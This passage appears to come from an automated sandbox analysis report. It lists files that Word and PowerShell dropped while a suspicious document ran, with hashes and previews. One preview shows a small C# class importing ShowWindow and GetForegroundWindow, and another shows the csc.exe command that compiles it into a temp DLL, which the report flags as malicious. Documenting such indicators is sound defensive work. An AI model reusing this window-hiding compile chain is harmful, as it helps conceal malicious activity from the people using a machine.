SSDEEP:	24576:9B1Onw3vg7aeYPagzbJ5Vhv6LnV2Dhl7GEYqVjcyd:vww3o7BYPJbJ5Vh6UCqZfd
MD5:	D4EAC009E9E7B64B8B001AE82B8102FA
SHA1:	D8D166494D5813DB20EA1231DA4B1F8A9B312119
SHA-256:	8B0631DA4DC79E036251379A0A68C3BA977F14BCC797BA0EB9692F8BB90DDB4D
SHA-512:	561653F9920661027D006E7DEF7FB27DE23B934E4860E0DF78C97D183B7CEBD9DCE0D395E2018EEF1C02FC6818A179A661E18A2C26C4180AFEE5EF4F9C9C6035
Malicious:	false
Preview:	MSCF....]M......D...............=...........]M...?..........}..."..............Li. .content.inf............Li. .Gallery.thmx.].(.Vq..[.....0Y..........v.....w.wwwww.wwwwww.w.....".83....y8..mg...o..U..N(..@uD.:O<........{.G....~~.....c.c.5..6./\|G .@#1O.B.............PT@...b.d.~..U....B.{.........0.H.....`.H.`..'S.......Ic..W..x...z....... .........g......._....o......S......p...$....._........._...K......x..?.6.U~...'./.r.................../.......5.8..2........2b.@j ....0.........``....H... ,5...........X........\|..Y.QoiW..\|.......x.sO8...Yb....7...m..b.f.hv..b......=...:Ar.-...[..A\.D..g..u....].9..M...'.R-`.....<..+.....]...1.^..I.z..W{.._....L.. ...4;..6O.....9,.-.Vt+b/$7..}.O05.Y...-..S.....$.....1."Z.r;.!..E.mMN..s .U...P%.[.P...cU...j...h.d.../.s..N/..:..X...p5.7\}h.Q ..._.F.X.C..z$.nV..+.k..\|.@.L...&.........^#.G.a..x..w!wx.8e+..E. i..$?9..8...:......\|..[."..y..&y..?...W....s..._...3Z0c.....i.q.........1c.jI....W..^%xH.._...n.......&J..

C:\Users\user\AppData\Local\Temp\cabC523.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 1291243 bytes, 2 files, at 0x44 +A "content.inf" +A "Droplet.thmx", flags 0x4, ID 47417, number 1, extra bytes 20 in head, 54 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1310275
Entropy (8bit):	7.9985829899274385
Encrypted:	true
SSDEEP:	24576:NN3M9UHpHZE4aubaPubP3M6d71FdtmFAjq+54/79LVzG+VnS:NN3M9UJHZE4abPyU4JtmFCq+q/7JlVS
MD5:	9C9F49A47222C18025CC25575337A965
SHA1:	E42EDB33471D7C1752DCC42C06DD3F9FDA8B25F0
SHA-256:	ADA7EFF0676D9CCE1935D5485F3DDE35C594D343658FB1DA42CB5A48FC3FC16A
SHA-512:	9FDCBAB988CBE97BFD931B727D31BA6B8ECF795D0679A714B9AFBC2C26E7DCF529E7A51289C7A1AE7EF04F4A923C2D7966D5AF7C0BC766DCD0FCA90251576794
Malicious:	false
Preview:	MSCF...........D...............9..............XJ..........}...6..............M.. .content.inf............M.. .Droplet.thmx..m7.>J..[...............2.QQPIj..."o^R.H5^...^(e.W...R..x..^`..m...."..+.....{o.......Q.-....$V.N>...T]..L.... ..N.h..dOY.......S......N.%.d..d....Y.....e..$...<.m...`............@....=.z..n..[...,G..1Fn.qPDH{C<...3.Q...2..r.....E.E.E.ErM"&a..'..W....:...?I..<.I..6o.`.d.?!..!..._.4\.._.E..).._O.S....; ..#..p.H.....c....o\.K..?$U.e.........!...J.v.....gNe._..[....#A.O.n_.....gm:P._.........{@..-g..j.69b.NH.I.$Hk?.6.n...@......'.C.._.U..:,j.-G.....e.#.Sr.t.L......d[.[...s.....rx.3.F[.5o..:....K.x..)M.fb...3IP.&h.Q.VX^%U.......x..l......@6.k.P..zSW.?....F..[L...4..b.l.w."&.....`.j...i.5}".~.-.....{\.:...o.'H\+)....3.Y......\...f:.;....e........4't7..f...w..j...3....N..9`.J...P..?.....=3_.y]...f.<.......JM5.}Q/ .F.a..Z.._yh......V..>m .......a....f....!.hz..\.....F_..'z...,....h.=.......=.o..T....3.e..........$..g.2.

C:\Users\user\AppData\Local\Temp\cabC572.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 1865728 bytes, 2 files, at 0x44 +A "content.inf" +A "Damask.thmx", flags 0x4, ID 63852, number 1, extra bytes 20 in head, 68 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1881952
Entropy (8bit):	7.999066394602922
Encrypted:	true
SSDEEP:	49152:6Wp9u/ZAvKz7ZFCejPiSmYXKIr6kBwBUA:6W6Bn7ZFNiiKo2l
MD5:	53C5F45B22E133B28D4BD3B5A350FDBD
SHA1:	D180CFB1438D27F76E1919DA3E84F307CB83434F
SHA-256:	8AF4C7CAC47D2B9C7ADEADF276EDAE830B4CC5FFE7E765E3C3D7B3FADCB5F273
SHA-512:	46AD3DA58C63CA62FCFC4FAF9A7B5B320F4898A1E84EEF4DE16E0C0843BAFE078982FC9F78C5AC6511740B35382400B5F7AC3AE99BB52E32AD9639437DB481D1
Malicious:	false
Preview:	MSCF.....x......D...............l............x..`?..........\|...D..............M[. .content.inf...!........M[. .Damask.thmx...o.PI..[.............../.TU.jj0..3jCUPU.jF...m.UU.P}.....PU..........w..#....E..].................A.. w.$..@..'g.......6%:..r9..d.M;M+.r.8[d{.s..dh..(P..........!.. ..ne..f.Nc..#..Y..q....KB}..b].@..F.&.t....E.........@&.m......$w......q...:.H....p.p.....?.9x.. .....?...ao....I....................o......g.u..;."....O;....{..(k..._.w/.Z......Jb..P.O?...........?....F....ty..72......! #....v..J......?.....!,.5.7..Em.....is.h.. \.H)i1v..zwp.....P.....x].X{O//..\....Z>z....6...+..a.c...;.K..+...?014..p.w%o^.....]...MguF...`....r.S.......eF..):.dnk#.p{..<..{..Ym...>...H......x.}.hI..M....e......*G.&.?..~.~G6.....+...D..p...._...T....F6.[Cx./Q..Xe.>.;.}>.^..:..SB.X..2.......(A..&j9....\\.......Haf+]Y...$t^Y=........><.w....tL../E...%6.Vr~MI...l.....<.0.I....7.Q8y.f.uu...I.p..O..eYYS.O......9..Qo.......:..........o.............{

C:\Users\user\AppData\Local\Temp\cabC5B4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 1750009 bytes, 2 files, at 0x44 +A "content.inf" +A "Slate.thmx", flags 0x4, ID 28969, number 1, extra bytes 20 in head, 72 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1766185
Entropy (8bit):	7.9991290831091115
Encrypted:	true
SSDEEP:	24576:O/gjMj+RP9Q07h9F75a0BXjBccHMVk2Hq2SkGa0QglyZtxmdPP2LcSUtfgfp16Yx:kJ6RP9Q07/X5V7yVF0QgktxAPutUt0zP
MD5:	828F96031F40BF8EBCB5E52AAEEB7E4C
SHA1:	CACC32738A0A66C8FE51A81ED8E27A6F82E69EB2
SHA-256:	640AD075B555D4A2143F909EAFD91F54076F5DDE42A2B11CD897BC564B5D7FF7
SHA-512:	61F6355FF4D984931E79624394CCCA217054AE0F61B9AF1A1EDED5ACCA3D6FEF8940E338C313BE63FC766E6E7161CAFA0C8AE44AD4E0BE26C22FF17E2E6ABAF7
Malicious:	false
Preview:	MSCF............D...............)q..............0?..........{...H..............M.. .content.inf.;.#........M.. .Slate.thmx.p.+..P..[......U..............p..K.!..........K..w..v........=....D$r...B....6 ...X.F0..d..m.s...$$r........m.)6.m3....vXn.l..o...a...V......Ru.:=2M.........T.....4S`EP......\..r,..v...G.P......'._H0]..%_............X.P.,.............H.?.-.H..".......M..&..o....R........<......`...D.H.._.G.Qv..(..U,.9..D...."..T..i.e../.e.."....,S...o.X.....c./..V....Z..o.O..2....{...+... ....0.@J.R.Q.m.....{.....h?u.q.O{...l.d)..Yk`.....#...u.-.m..#CXwrz4..7.>......v.E:.#.oGSKS.TX.Chm.4aQ......avH..{..j+@6[k].....`c..W8..j.v.Zh.]....4......K..#Hzyd..K}.....H\|<H..\(l...+..%Z......~.S:^..d>..1..H%..7N-v.....Wu.*..b^.B.....k0gc.2.{.!...E7.}3.d...{.Ye...&#f6...:2......v..&!..k0d.p.b...,..$.....Y..60...h.N}.r...<[./........{...Es..&.nf.....2.@Fh3.9.G....l.[.C..SD/6.H.K....}..m....M..........gl.P.]..I......5....e.c...V....P...[.=.......O.eq+

C:\Users\user\AppData\Local\Temp\cabC653.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 2573508 bytes, 2 files, at 0x44 +A "content.inf" +A "Mesh.thmx", flags 0x4, ID 62129, number 1, extra bytes 20 in head, 94 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	2591108
Entropy (8bit):	7.999030891647433
Encrypted:	true
SSDEEP:	49152:ZSBBeAefkpB5iXfQJgi7JBaCCRZ3cM2VDHkvSJO6qzI1tE9Rn:EBI6gbCkMPDHKSJO6qsP6n
MD5:	BEB12A0464D096CA33BAEA4352CE800F
SHA1:	F678D650B4A41676BA05C836D462F34BDC5BF648
SHA-256:	A44166F5C9F2553555A43586BA5DB1C1DE54D72D308A48268F27C6A00076B1CA
SHA-512:	B6E7CCD1ECBB9A49FC72E40771725825DAF41DDB2FF8EA4ECCE18B8FA1A59D3B2C474ADD055F30DA58C7E833A6E6555EBB77CCC324B61CA337187B4B41F7008B
Malicious:	false
Preview:	MSCF.....D'.....D............................D'..D..........z...^..............M7. .content.inf............M7. .Mesh.thmx....&~j..[.....0.................]............ww,v.\....D......3m..m!f..0..E{..?..`..A...k.:....I..........\|bmG.FS...f.;.J.vzb.......R.......-....\|.......ESD.....".4M..M..t.N....y..,..#.4.5.2.......'.8.Q..3.D..T....!.......&rJg...s........(..9........Dw..'....9.-..G.c............E.. .O.....a..O.._..s..)7Wz~....bJ..D...o....0..R/.#...?.......~6.Q?....?y...g.?............TP..r-...>....-..!.6...B.....\../...2....4...p$...Oge.G.?.....S.#x(..$.A~.U.%f....dJ..S.f{.g.._..3{.fm2.....Z.\o&.[k.m....ko.8..r.-.Go.OQ..'!6..f.L...Ud.$.q.L.....R.. J.T&4g...7.2K...#k.[.].:....lk.....;c..DRx.`..&L..cpv.>.Ngz~.{..v5.\...'C.<R:.C8.\|.fE{......K...).....T...gz}..rF..Q.dof7.....D.f=cm...U\|.O.]F...5zg(.. ....S..._?D....^..+.i...Z.....+X..U!4qy..._..`I..>./.W.7......=.O....BG..=..%9\|...3.?...}.$"..H..u...0.......a..:t?.....8...Z..#g.=<.e.`\......KQ..U....

C:\Users\user\AppData\Local\Temp\cabC6E1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 2511552 bytes, 2 files, at 0x44 +A "content.inf" +A "Main_Event.thmx", flags 0x4, ID 59889, number 1, extra bytes 20 in head, 90 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	2527736
Entropy (8bit):	7.992272975565323
Encrypted:	true
SSDEEP:	49152:NFXdpz4d98p/q5jA4q+9Uf5kx6wHR8WfPJZVhWzH4dRze76YP9nJ7yyAInT76nSY:NFXdKx5sM9SmxHKexZVhutJJVpCSqa0Z
MD5:	F256ACA509B4C6C0144D278C7036B0A8
SHA1:	93F6106D0759AFD0061F73B876AA9CAB05AA8EF6
SHA-256:	AD26761D59F1FA9783C2F49184A2E8FE55FCD46CD3C49FFC099C02310649DC67
SHA-512:	08C57661F8CC9B547BBE42B4A5F8072B979E93346679ADE23CA685C0085F7BC14C26707B3D3C02F124359EBB640816E13763C7546FF095C96D2BB090320F3A95
Malicious:	false
Preview:	MSCF.....R&.....D............................R&.8?..............Z..............M). .content.inf..,........M). .Main_Event.thmx......R..[...............=.1.^xa..^...../..^x....QA^"....^/.I.{/F..F..........6Vn. ..._Hmc......<....#.{.@.....Xl../Y....Ye..'V.f.S.Vf.T..0t+..y...5O...{.....-.dT...........!...[ .ns..k.....QAA.. ....B..u.`.....{.\u8.0.....@t........K....@..w.......>...-1F...........1.E....O............_M.m..CP.O......X......g......].../..:C...Q...i.._"...M..1o...S../...9....k;...}S........y..;1o....1h......t.CL.3...].@...T...4.6.}.....M...f...[.s.."f....nZ.W......0.c.{.`.^..Oo.[.JT.2].^.f..a....kO......Q..G..s.5...V.Wj.....e...I,]...SHa..U.N.N.....v.C.....x..J{.Z.t...]WN...77BO-J......g......3:i..2..EFeL.,n..t:..,~4gt.w...M.5.'h.L..#..A&.O.ys%K.Z....F.PW..=jH...jGB.i..j.J.^.#.\n...J@.....-5.f.1jZ68.o...H2.......$O...>..ld&,#$.&_....yl.fkP$.........l....s....i.tx.~<.z...>..2.Gx..B..z.E.3.N<....`$.....b..?.w.[.X..1.=q!.s......v.......r.w

C:\Users\user\AppData\Local\Temp\cabC711.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 3400898 bytes, 2 files, at 0x4c "Insight design set.dotx", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 106 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	3417042
Entropy (8bit):	7.997652455069165
Encrypted:	true
SSDEEP:	98304:1YYkj2mRz6vkkB15AW4QD0ms+FdniD60bDUpS:qYkj7d6vP7NZDLn+PM8
MD5:	749C3615E54C8E6875518CFD84E5A1B2
SHA1:	64D51EB1156E850ECA706B00961C8B101F5AC2FC
SHA-256:	F2D2DF37366F8E49106980377D2448080879027C380D90D5A25DA3BDAD771F8C
SHA-512:	A5F591BA5C31513BD52BBFC5C6CAA79C036C7B50A55C4FDF96C84D311CCDCF1341F1665F1DA436D3744094280F98660481DCA4AA30BCEB3A7FCCB2A62412DC99
Malicious:	false
Preview:	MSCF......3.....L.............................3..?..............j.....3.....t.4.............Insight design set.dotx.................Content.inf...QJ.N..[.........R.....L....N).J\|E.B.$.B).3,...n.....JW....k.U1..M...3#.5....$^.....;vR...Z.nj...#......^......a.{..(..o.v...!L`...T.-&jZ`.\.0.....G.."b.m..F.X......$>%..?.D..H.l.j....$.......MrQ......q-....hx...6.D.3...j....n..U#R..3....sm?..xJr..............$G8..t.g...?.g.}......$P._...7.#..w..9DR....lu....?..'.Ai..v.vl..`......B..N_....W./.;...c=oYW.lL'bv.......+...9.P..B=...Y.SX=EL.5o....?H.e\|.Fn.M[...d.v.....i......9..U..H....uq.Nrn..@..e...3....8.....s8}z..$........B....26...d..?.l....=.aeM.[..\|n....H.;..7A.`....=.F...V.Y.l..8.........%e.x0S.....~..2..%.....U..#.r_.0V.v.6w.l.......Y.........v..o+....sn.$^'.Il...akUU....w....~.....&8.Vwj.....Q.uQ..&..G.($.2.s.?m.B.~j...+G.W..qi..g..5.)){O........o.ow.(;.{...y;n...J...&.F2.@.;......[{'w..........`....czW.........?W...}..w....x..........

C:\Users\user\AppData\Local\Temp\lsozgnau\CSCDC8C4E3F93914FB7BA165C9B4C26D24F.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.0791285052311617
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryU8ak7YnqqFRPN5Dlq5J:+RI+ycuZhN9akS7PNnqX
MD5:	4ED621A3CD004AD9F278B73E7BFA8E92
SHA1:	33858517428BD72F22A34763A26F6A8D04693FF4
SHA-256:	C7DDEB059680774302C79F103EDD40DFE6A6A3B7AA469FEDD4D1067AD7E24EB3
SHA-512:	94DC4F570A5722E210E71DF6FC3135C00AA2C61CCC6AAB1637C5079109B5CF37ED57E8C24D88203B84545583449FC523796478AB7CF7549F55728E75FB469753
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...l.s.o.z.g.n.a.u...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...l.s.o.z.g.n.a.u...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\lsozgnau\lsozgnau.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	244
Entropy (8bit):	4.952945910145069
Encrypted:	false
SSDEEP:	6:V/DssSuVY/so68SRvoSoODnso68SRaqK4Li:V/D9PY/REvoOnREfe
MD5:	6E7BC02C23E28738F9898185137720DB
SHA1:	F0450E92B0D01C2A0D23DEF93299FFD1512FAB46
SHA-256:	80A682DC3D4FEF7A23471B441BBA682648D7373DEB9889E0017E3BBBA43754E7
SHA-512:	FF24CEDAD3619B0D2379F668A06CE36A5DAFF2EBC2B11FCF8BD960C3272D99F5F77EDCA893701A6232DC9EB07794C8D2ABC3FD802CE7E5638EE87291DE1AAEFB
Malicious:	false
Preview:	.using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("user32.dll")] public static extern int ShowWindow(IntPtr hWnd, int nCmdShow); [DllImport("user32.dll")] public static extern IntPtr GetForegroundWindow(); }

C:\Users\user\AppData\Local\Temp\lsozgnau\lsozgnau.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (368), with no line terminators
Category:	dropped
Size (bytes):	371
Entropy (8bit):	5.1648804792044105
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2923frfUMx0zxs7+AEszI923frfUMDHn:p37Lvkmb6KzTUa0WZE2TU2n
MD5:	4FFAD9D78AC4877034A7F8F18DFEB44C
SHA1:	E60E97805BE453C541CB4432D184ED107B8E3762
SHA-256:	933B54DF7935F4AA1358753661080EE72C2D2BD1FACD683CC58C3FE7CD850FEA
SHA-512:	63978B3C0D0137626992D37B5F204A6E7C2231CB09B6B72FF318ABB09F417DDC300631B621B6669DB2607458F09F8AA59FFB50CE13F35C0D5D108F4F0BF316F3
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\lsozgnau\lsozgnau.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\lsozgnau\lsozgnau.0.cs"

C:\Users\user\AppData\Local\Temp\lsozgnau\lsozgnau.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.779537321186346
Encrypted:	false
SSDEEP:	24:etGSsJ2JJi8R86QMBTPetkZfGAZVI3+WI+ycuZhN9akS7PNnqI:6zNR9ZPRJGAjI3l1ul9a3xqI
MD5:	356278137721D72783CE0DFB86D632D8
SHA1:	A44E20975B148F80A13F7DECE33CA46A92BE9C9F
SHA-256:	41B5A9151DF3FFF125CC539F58D37716AE74A4214BEF7510692A104E1ECCA926
SHA-512:	FC4EF9845761322AA88F27FE51F49976BB3CBC84BB6275E6F0EE0AD1F8110FDE3EC87FB1EB3242F0B0C1D8D8C33B9DA62927F9B0579F83D1A0759705448BAD18
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....6g...........!.................#... ...@....... ....................................@.................................P#..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....*BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................-.&.....g.....g.......................................... 4............ ?.....P ......S.........Y.....^...S.....S...!.S.....S.......".....+.......4.......?..................................................<Module

C:\Users\user\AppData\Local\Temp\lsozgnau\lsozgnau.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (451), with CRLF, CR line terminators
Category:	modified
Size (bytes):	872
Entropy (8bit):	5.282287394188383
Encrypted:	false
SSDEEP:	24:KMoId3ka6KzjE2+Kax5DqBVKVrdFAMBJTH:dokka6ajE2+K2DcVKdBJj
MD5:	A2413B7DDCD2A8BE7A843DD644A2C11A
SHA1:	A77C685FAAC3770193A448A43E9F86F853212A65
SHA-256:	9D715D4A3FE69F37ADAC55F4FECFF372C02C3A627F7C194FEC192CF4CD6D92E6
SHA-512:	53339E5EC574875566327858BD6B37B8B6502CE879A7E0B9E6CEFEAEAE7886AEB69386D71600DB138C8A0AED0FA3FBA19813C00E4D752125CF7FF7771B23B7BB
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\lsozgnau\lsozgnau.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\lsozgnau\lsozgnau.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\~$line Interview Scheduling Form.docx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	4.7244916654817875
Encrypted:	false
SSDEEP:	3:e9zOAhy2g1YNy1uGjvpWoykhyqvVl8tBALzA:RABg1YNykWTykgYA
MD5:	5CBB098471918D723174CA02AB12E995
SHA1:	EFBCCBED5660C62D97F7404DE1F865D2E7D5073B
SHA-256:	E68F3850E40775BC9C1DCE97791989E8F7D63565023FEEB937C71FC35C0498EC
SHA-512:	D9200549E5FC59D474F762E5B32FCA404CBDE92B6884E2108E06FC4343C887080625338F20BB343B6BE11681A47D538ADE9387BED5E7093C466F866BCA13D535
Malicious:	false
Preview:	...........................................................G=&.......C...\|.`...u.5..P.)...'.CW.Yt..........s..Wsp.f.Gg.i..J'../..9.6........HZ...}.Ej.....S...=.j

C:\Users\user\AppData\Roaming\Microsoft\Office\MSO3072.acl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	30
Entropy (8bit):	1.2389205950315936
Encrypted:	false
SSDEEP:	3:RXlzX:3z
MD5:	753C176E9F8F6A5A7922BF85F59A4973
SHA1:	A199CCE3E4A754ECF4CF2D4891BDA3C46410CBC7
SHA-256:	EF7E878B7DDFDFC5AE433322EE79376C12B0D0715915AFB80C66722AAE59B920
SHA-512:	2B068BBB22885E71AC47245B91783D5BFAEA362A63DCF6F78AC28BE2A9E883C62B39A6AE368C8B2F4A187197EF3BA17D917326FD6CA7AFAFF380AC4374CBB598
Malicious:	false
Preview:	.....y........................

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03090430[[fn=Banded]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	562113
Entropy (8bit):	7.67409707491542
Encrypted:	false
SSDEEP:	12288:/dy5Gtyp/FZ9QqjdxDfSp424XeavSktiAVE0:/dizp1ndpqpMZnV
MD5:	4A1657A3872F9A77EC257F41B8F56B3D
SHA1:	4DDEA85C649A2C1408B5B08A15DEF49BAA608A0B
SHA-256:	C17103ADE455094E17AC182AD4B4B6A8C942FD3ACB381F9A5E34E3F8B416AE60
SHA-512:	7A2932639E06D79A5CE1D3C71091890D9E329CA60251E16AE4095E4A06C6428B4F86B7FFFA097BF3EEFA064370A4D51CA3DF8C89EAFA3B1F45384759DEC72922
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03090434[[fn=Wood Type]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1649585
Entropy (8bit):	7.875240099125746
Encrypted:	false
SSDEEP:	24576:L368X6z95zf5BbQ6U79dYy2HiTIxRboyM/LZTl5KnCc:r68kb7UTYxGIxmnp65
MD5:	35200E94CEB3BB7A8B34B4E93E039023
SHA1:	5BB55EDAA4CDF9D805E36C36FB092E451BDDB74D
SHA-256:	6CE04E8827ABAEA9B292048C5F84D824DE3CEFDB493101C2DB207BD4475AF1FD
SHA-512:	ED80CEE7C22D10664076BA7558A79485AA39BE80582CEC9A222621764DAE5EFA70F648F8E8C5C83B6FE31C2A9A933C814929782A964A47157505F4AE79A3E2F9
Malicious:	false
Preview:	PK..........1A..u._....P......[Content_Types].xml..Ms.@.....!...=.7....;a.h.&Y..l..H~..`;...d..g/..e..,M..C...5...#g/."L..;...#. ]..f...w../._.2Y8..X.[..7._.[...K3..#.4......D.]l.?...~.&J&....p..wr-v.r.?...i.d.:o....Z.a\|._....\|.d...A....A".0.J......nz....#.s.m.......(.]........~..XC..J......+.\|...(b}...K!._.D....uN....u..U..b=.^..[...f...f.,...eo..z.8.mz....."..D..SU.}ENp.k.e}.O.N....:^....5.d.9Y.N..5.d.q.^s..}R...._E..D...o..o...o...f.6;s.Z]...Uk6d.j..MW....5[C].f#...l;u.M..Z.../iM\|...b...S.....0.zN.... ...>..>..>..>..>..>..>........e...,..7...F(L.....>.ku...i...i...i...i...i...i...i........yi.....G...1.....j...r.Z]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o\|^Z....Q}.;.o...9.Z..\.V...............................jZ......k.pT...0.zN.... ...>..>..>..>..>..>..>........e...,..7...f(L.....>.ku...i...i...i...i...i...i...i........yi.......n.....{.._f...0...PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457444[[fn=Basis]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	558035
Entropy (8bit):	7.696653383430889
Encrypted:	false
SSDEEP:	12288:DQ/oYjRRRRRRRRYcdY/5ASWYqBMp8xsGGEOzI7vQQwOyP:DQ/nRRRRRRRRxY/5JWYZ3GGbI8YA
MD5:	3B5E44DDC6AE612E0346C58C2A5390E3
SHA1:	23BCF3FCB61F80C91D2CFFD8221394B1CB359C87
SHA-256:	9ED9AD4EB45E664800A4876101CBEE65C232EF478B6DE502A330D7C89C9AE8E2
SHA-512:	2E63419F272C6E411CA81945E85E08A6E3230A2F601C4D28D6312DB5C31321F94FAFA768B16BC377AE37B154C6869CA387005693A79C5AB1AC45ED73BCCC6479
Malicious:	false
